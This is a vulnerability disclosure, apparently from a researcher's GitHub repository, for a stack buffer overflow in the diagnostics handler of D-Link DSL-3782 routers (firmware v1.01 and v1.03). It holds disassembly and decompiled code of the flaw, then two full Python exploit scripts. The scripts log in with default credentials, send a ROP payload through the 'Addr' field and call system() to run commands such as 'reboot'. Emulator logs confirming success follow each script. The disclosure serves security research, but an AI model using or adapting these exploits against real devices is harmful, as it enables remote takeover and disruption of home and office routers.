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Vuls / D-Link / DSL-3782 / BOF_in_D-Link DSL-3782.md



1160300418 Update BOF_in_D-Link DSL-3782.md

🕒 History

👤 1 contributor



196 lines (144 sloc) | 5.39 KB

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Vendor of the products: D-Link

Reported by: x.sunzh@gmail.com

Affected products: DSL-3782 v1.01, DSL-3782 v1.03

Buffer overflow

Code in cfg_manager

Code bellow (in cfg_manager) performs the traceroute (or ping) test in the Diagnostic webpage.

```

.text:00474AD4      sw      $ra, 0x74($sp)
.text:00474AD8      sw      $s3, 0x70($sp)
.text:00474ADC      sw      $s2, 0x6C($sp)
.text:00474AE0      sw      $s1, 0x68($sp)
.text:00474AE4      sw      $s0, 0x64($sp)
.text:00474AE8      sw      $gp, 0x10($sp)
.text:00474AEC      la      $t9, memset
.text:00474AF0      addiu   $s1, $sp, 0x1C
.text:00474AF4      move    $s2, $a0
.text:00474AF8      move    $s3, $a1
.text:00474AFC      move    $a0, $s1
.text:00474B00      move    $a1, $zero
.text:00474B04      jalr    $t9 ; memset
.text:00474B08      li      $a2, 0x40 # '@'
.text:00474B0C      lw      $gp, 0x10($sp)
.text:00474B10      li      $a2, (aDipType+4) # "Type"
.text:00474B18      la      $t9, getAttrValue
.text:00474B1C      move    $a0, $s2
.text:00474B20      move    $a1, $s3
.text:00474B24      jalr    $t9 ; getAttrValue
.text:00474B28      move    $a3, $s1
.text:00474B2C      bnez    $v0, loc_474B4C
.text:00474B30      lw      $gp, 0x10($sp)
.text:00474B34      lb      $s0, 0x1C($sp)
.text:00474B38      li      $v0, 0x70 # 'p'
.text:00474B3C      beq     $s0, $v0, loc_474B70
.text:00474B40      li      $v0, 0x74 # 't'
.text:00474B44      beq     $s0, $v0, loc_474B74
.text:00474B48      la      $t9, memset
.text:00474B4C      loc_474B4C:                                     # CODE XREF: .text:00474B2C↑j
.text:00474B4C                                     # .text:00474BAC↓j ...
.text:00474B4C      li      $v1, 0xFFFFFFFF
.text:00474B50      loc_474B50:                                     # CODE XREF: .text:00474BB8↓j
.text:00474B50                                     # .text:00474C34↓j ...
.text:00474B50      lw      $ra, 0x74($sp)
.text:00474B54      move    $v0, $v1
.text:00474B58      lw      $s3, 0x70($sp)
.text:00474B5C      lw      $s2, 0x6C($sp)
.text:00474B60      lw      $s1, 0x68($sp)
.text:00474B64      lw      $s0, 0x64($sp)
.text:00474B68      jr      $ra
.text:00474B6C      addiu   $sp, 0x78
.text:00474B70      # -----
.text:00474B70      loc_474B70:                                     # CODE XREF: .text:00474B3C↑j
.text:00474B70      la      $t9, memset
.text:00474B74      loc_474B74:                                     # CODE XREF: .text:00474B44↑j
.text:00474B74      lui     $v0, 0x4C # 'L'
.text:00474B78      move    $a0, $s1
.text:00474B7C      move    $a1, $zero
.text:00474B80      li      $a2, 0x40 # '@'
.text:00474B84      jalr    $t9 ; memset
.text:00474B88      sb      $s0, byte_4C01E0
.text:00474B8C      lw      $gp, 0x10($sp)
.text:00474B90      lui     $a2, 0x4A # 'J'
.text:00474B94      move    $a0, $s2
.text:00474B98      la      $t9, getAttrValue
.text:00474B9C      move    $a1, $s3
.text:00474BA0      li      $a2, aAddr # "Addr"
.text:00474BA4      jalr    $t9 ; getAttrValue
.text:00474BA8      move    $a3, $s1

```

```
.text:00474BAC  
.text:00474BB0
```

```
bnez $v0, loc_474B4C  
lw $gp, 0x10($sp)
```

The `getAttrValue` method at `.text: 0x474bA4` can lead to a stack-based buffer overflow.

Code in `getAttrValue`

The `dst` parameter (`a4`) of `strcpy` corresponds to the `$a3` register in the above picture, which comes from the `$s1` register, and the `$s1` register stores an offset address in stack (at `.text: 474af0`).

```
1 int __fastcall getAttrValue(int a1, char *a2, int a3, char *a4)  
2 {  
3     int v8; // $s1  
4     int v9; // $v0  
5     char *v10; // $a2  
6     int v11; // $a3  
7     int result; // $v0  
8     const char *v13; // $a1  
9  
10    v8 = 0;  
11    do  
12    {  
13        v9 = *a2;  
14        v10 = a2;  
15        v11 = 0;  
16        ++v8;  
17        a2 += 16;  
18        if ( !v9 )  
19            break;  
20        a1 = mxmFindElement(a1, a1, v10, 0, 0, -1);  
21    }  
22    while ( v8 != 3 );  
23    result = -1;  
24    if ( a1 )  
25    {  
26        v13 = (const char *)mxmElementGetAttr(a1, a3, v10, v11);  
27        result = -2;  
28        if ( v13 )  
29        {  
30            strcpy(a4, v13);  
31            result = 0;  
32        }  
33    }  
34    return result;  
35 }
```

In v1.01

exp

```
import requests
import urllib
from pwn import *

context.binary = "../DSL-3782_A1_EU_1.01_07282016.bin.extracted/squashfs-root/userf
context.endian = "big"
context.arch = "mips"

main_url = "http://192.168.1.1:80"

def login():
    s = requests.Session()
    s.verify = False
    headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/5
    }
    url = main_url + "/cgi-bin/Login.asp?User=admin&Pwd=admin&_=1640832458081"
    resp = s.get(url, headers=headers, timeout=10)
    print resp.text

def get_session_key():
    s = requests.Session()
    s.verify = False
    headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/5
    }
    url = main_url + "/cgi-bin/get/New_GUI/get_sessionKey.asp"
    resp = s.get(url, headers=headers, timeout=10)
    sessionKey = resp.text
    return sessionKey

def exp(sessionKey=None):
    libc_base = 0x2b50b000
    system_offset = 0x59bb0
    system_addr = libc_base + system_offset
    gadget_offset = 0x0001656C
    gadget_addr = libc_base + gadget_offset

    cmd = "echo yab. > /tmp/1"
    padding = "a" * 72
    s0 = p32(system_addr)
    s1 = "AAAA"
    s2 = "BBBB"
```

```

s3 = "CCCC"
ra = p32(gadget_addr)
padding2 = "A" * 16
payload = padding + s0 + s1 + s2 + s3 + ra + padding2 + cmd

s = requests.Session()
s.verify = False
headers = {
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/5
    }
params = {
    "Type": "p", "sessionKey": urllib.unquote(sessionKey),
    "Addr": urllib.unquote(payload)
}
url = main_url + "/cgi-bin/New_GUI/Set/Diagnostics.asp"
resp = s.post(url, data=params, headers=headers, timeout=10)
print resp.text

if __name__ == '__main__':
    login()
    sessionKey = get_session_key()
    exp(sessionKey=sessionKey)

```



Attack effect

```

# ls /tmp/
MT7610EEPROM.bin  bssid3      etc          rt_device
RT30xxEEPROM.bin  bssid_ac0   lcp          tcapi_sock
WPS_PinCode       bssid_ac1   nat_num      telnet_info
bssid0            bssid_ac2   number       var
bssid1            bssid_ac3   number1      wlanlockfd
bssid2            cwmp        qoslockfd

# [ 88.768000] cfg_manager/108: potentially unexpected fatal signal 11.
[ 88.768000]
[ 88.776000] Cpu 0
[ 88.776000] $ 0 : 00000000 1000a401 00000000 00000000
[ 88.776000] $ 4 : 7fef9850 7fef97f8 00000000 00000000
[ 88.776000] $ 8 : 00000000 7fef9788 00020000 00000000
[ 88.776000] $12 : 00000000 aafc3000 00000014 8f020928
[ 88.780000] $16 : 2b7ddbb0 41414141 42424242 43434343
[ 88.780000] $20 : ffffffff 7fef9938 0000006e 7fef9aa0
[ 88.784000] $24 : 00000000 2b7bf4d0
[ 88.784000] $28 : 2b803510 7fef9928 00000007 2b79a584
[ 88.788000] Hi : 00000000
[ 88.788000] Lo : 00000002
[ 88.788000] epc : 2b79a584 0x2b79a584
[ 88.792000] Not tainted
[ 88.792000] ra : 2b79a584 0x2b79a584
[ 88.792000] Status: 0000a413 USER EXL IE
[ 88.792000] Cause : 10800010
[ 88.792000] BadVA : 00000017
[ 88.796000] PrId : 00019300 (MIPS 24Kc)

#
# ls /tmp/
1
MT7610EEPROM.bin  bssid2      etc          tcapi_sock
RT30xxEEPROM.bin  bssid3      lcp          telnet_info
WPS_PinCode       bssid_ac0   nat_num      var
boa-temp          bssid_ac1   number       wlanlockfd
bssid0            bssid_ac2   number1
bssid1            bssid_ac3   qoslockfd
                  cwmp        rt_device

# cat /tmp/1
yab.
#

```

Since the command we executed in the exploit script (line 41) is `echo yab. > /tmp/1`, we can confirm that our attack was successful by printing the content in file `/tmp/1`.

In v1.03

An authenticated attacker can still use the stack-based bof to complete remote code execution of single-word commands (such as `reboot`).

exp

```

import requests
import urllib
from pwn import *
import os
from time import sleep

```

```

context.binary = "../new/_DSL-3782_A1_EU_1.03_04042018.bin.extracted/squashfs-root/u
context.endian = "big"
context.arch = "mips"

```

```

server = "192.168.1.1"

```


```
main_url = "http://192.168.1.1:80"
```

```
def get_session_key(a):  
    s = requests.Session()  
    s.verify = False  
    headers = {  
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/5  
        "Cookie": "SESSIONID_AUTH=%s" % a  
    }  
    url = main_url + "/cgi-bin/get/New_GUI/get_sessionKey.asp"  
    resp = s.get(url,headers=headers,timeout=10)  
    sessionKey = resp.text  
    print(sessionKey)  
    return sessionKey
```

```
def exp(sessionKey=None,a=''):  
    libc_base = input('libc_base:')  
    system_offset = 0x59bb0  
    system_addr = libc_base + system_offset  
    gadget_offset = 0x0001656C  
    gadget_addr = libc_base + gadget_offset  
  
    cmd = "reboot"  
    padding = "a" * 72  
    s0 = p32(system_addr)  
    s1 = "AAAA"  
    s2 = "BBBB"  
    s3 = "CCCC"  
    ra = p32(gadget_addr)  
    padding2 = "A" * 16  
    payload = padding + s0 + s1 + s2 + s3 + ra + padding2 + cmd  
  
    s = requests.Session()  
    s.verify = False  
    headers = {  
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/5  
        "Cookie": "SESSIONID_AUTH=%s" % a  
    }  
    params = {  
        "Type":"t", "sessionKey":urllib.unquote(sessionKey),  
        "Addr":urllib.unquote(payload)  
    }  
    url = main_url + "/cgi-bin/New_GUI/Set/Diagnostics.asp"  
    resp = s.post(url,data=params,headers=headers,timeout=10)  
    print resp.text
```

```
if __name__ == '__main__':  
    print '\n[*] Connection %r' % main_url  
    a = input()  
    print '[*] Getting session key'  
    sessionKey = get_session_key(a)  
    print '[*] Sending payload'  
    exp(sessionKey=sessionKey, a=a)  
    sleep(1)  
    print '[*] Rebooting the target!'  
    sleep(2)  
    print '[*] Done!'
```

Attack effect



```
# [20836.596000] firmadyne: sys_reboot[PID: 26964 (init)]: magic1:fee1dead, magic2:28121969, cmd:89abcdef  
The system is going down NOW !!  
Sending SIGTERM to all processes.  
Sending SIGKILL to all processes.  
Please stand by while rebooting the system.  
[20840.704000] firmadyne: sys_reboot[PID: 26965 (init)]: magic1:fee1dead, magic2:28121969, cmd:1234567  
[20840.708000] firmadyne: sys_reboot: removed CAP_SYS_BOOT, starting init...
```

Since the command we executed in the exploit script (line 37) is `reboot` , you can see that the emulator (firmadyne) is rebooting.